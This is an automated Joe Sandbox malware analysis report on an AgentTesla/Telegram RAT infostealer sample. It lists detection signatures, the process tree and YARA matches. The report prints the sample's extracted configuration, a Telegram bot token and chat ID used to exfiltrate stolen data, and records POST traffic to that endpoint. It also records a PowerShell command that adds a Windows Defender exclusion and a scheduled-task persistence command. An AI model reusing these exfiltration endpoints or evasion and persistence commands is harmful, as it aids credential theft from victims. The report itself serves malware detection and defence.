Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.W32.AIDetectNet.01.20229.6203

Overview

General Information

Sample Name:SecuriteInfo.com.W32.AIDetectNet.01.20229.6203 (renamed file extension from 6203 to exe)
Analysis ID:635380
MD5:adec785f7cbaa5af9c8c7fa50cf91baa
SHA1:d55fc2f774a1728526a753284e350aea08e3b17d
SHA256:fb6eb7efdf26e5f8eaab963dab6a7fb808724a4288d4df1fb8f146e13471e53d
Tags:AgentTeslaexe
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Yara detected Telegram RAT
Yara detected AgentTesla
Yara detected AntiVM3
Multi AV Scanner detection for dropped file
Installs a global keyboard hook
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses the Telegram API (likely for C&C communication)
Injects a PE file into a foreign processes
Yara detected Generic Downloader
.NET source code contains method to dynamically call methods (often used by packers)
Adds a directory exclusion to Windows Defender
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Drops PE files
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.W32.AIDetectNet.01.20229.exe (PID: 3984 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe" MD5: ADEC785F7CBAA5AF9C8C7FA50CF91BAA)
    • powershell.exe (PID: 6688 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • schtasks.exe (PID: 6820 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HksvOcmoc" /XML "C:\Users\user\AppData\Local\Temp\tmpCB43.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)
      • conhost.exe (PID: 6860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Chat id": "5365166645", "Chat URL": "https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocument"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
      00000000.00000002.352372028.0000000007080000.00000004.08000000.00040000.00000000.sdmpMALWARE_Win_zgRATDetects zgRATditekSHen
      • 0x5180b:$s1: file:///
      • 0x5171b:$s2: {11111-22222-10009-11112}
      • 0x5179b:$s3: {11111-22222-50001-00000}
      • 0x4ec21:$s4: get_Module
      • 0x4f067:$s5: Reverse
      • 0x5104a:$s6: BlockCopy
      • 0x50e8e:$s7: ReadByte
      • 0x5181d:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
      0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
          Click to see the 19 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.37dada8.8.raw.unpackMALWARE_Win_zgRATDetects zgRATditekSHen
          • 0x5180b:$s1: file:///
          • 0x5171b:$s2: {11111-22222-10009-11112}
          • 0x5179b:$s3: {11111-22222-50001-00000}
          • 0x4ec21:$s4: get_Module
          • 0x4f067:$s5: Reverse
          • 0x5104a:$s6: BlockCopy
          • 0x50e8e:$s7: ReadByte
          • 0x5181d:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
          15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
            15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
              15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
                15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpackMALWARE_Win_AgentTeslaV3AgentTeslaV3 infostealer payloadditekSHen
                • 0x32b38:$s10: logins
                • 0x325a5:$s11: credential
                • 0x2eb27:$g1: get_Clipboard
                • 0x2eb35:$g2: get_Keyboard
                • 0x2eb42:$g3: get_Password
                • 0x2fdf7:$g4: get_CtrlKeyDown
                • 0x2fe07:$g5: get_ShiftKeyDown
                • 0x2fe18:$g6: get_AltKeyDown
                Click to see the 41 entries

                Sigma Signatures

                ⊘No Sigma rule has matched

                Snort Signatures

                ⊘No Snort rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Found malware configuration
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "5365166645", "Chat URL": "https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocument"}
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.6956.15.memstrminMalware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendMessage"}
                Multi AV Scanner detection for dropped file
                Source: C:\Users\user\AppData\Roaming\HksvOcmoc.exeReversingLabs: Detection: 30%
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpackAvira: Label: TR/Spy.Gen8
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpackAvira: Label: TR/Spy.Gen8
                Source: 15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpackAvira: Label: TR/Spy.Gen8
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpackAvira: Label: TR/Spy.Gen8
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpackAvira: Label: TR/Spy.Gen8
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
                Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49764 version: TLS 1.2
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                Source: Binary string: PARAMD.pdb source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, HksvOcmoc.exe.0.dr
                Source: Binary string: PARAMD.pdb8 source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, HksvOcmoc.exe.0.dr

                Networking

                barindex
                Uses the Telegram API (likely for C&C communication)
                Source: unknownDNS query: name: api.telegram.org
                Yara detected Generic Downloader
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35a9930.7.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.raw.unpack, type: UNPACKEDPE
                Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                Source: global trafficHTTP traffic detected: POST /bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da40272c67fce7Host: api.telegram.orgContent-Length: 993Expect: 100-continueConnection: Keep-Alive
                Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
                Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528150791.00000000032E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.526308491.00000000010FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346224005.0000000002864000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://uyaXTK.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528068312.00000000032C9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000003.379771521.0000000000BF4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527999593.0000000003281000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://VmuKuqO5f5glxfhci.org
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://VmuKuqO5f5glxfhci.org(t
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000000.327062889.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocument
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocumentdocument-----
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org4
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
                Source: unknownHTTP traffic detected: POST /bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da40272c67fce7Host: api.telegram.orgContent-Length: 993Expect: 100-continueConnection: Keep-Alive
                Source: unknownDNS traffic detected: queries for: api.telegram.org
                Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49764 version: TLS 1.2

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Installs a global keyboard hook
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWindows user hook set: 0 keyboard low level C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWindow created: window name: CLIPBRDWNDCLASS

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.37dada8.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.7080000.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.37dada8.8.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.7080000.11.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35a9930.7.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 00000000.00000002.352372028.0000000007080000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects zgRAT Author: ditekSHen
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.37dada8.8.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.7080000.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.37dada8.8.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.7080000.11.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35a9930.7.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 00000000.00000002.352372028.0000000007080000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 0_2_00AE6E28
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 0_2_00AE6E18
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 0_2_00AE70B7
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 0_2_00AE70C8
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_02DBF378
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_02DBF6C0
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_060AB7F0
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_060AC540
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_060A7F63
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_060A0040
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_060A2120
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeBinary or memory string: OriginalFilename vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.352372028.0000000007080000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameIVectorView.dllN vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
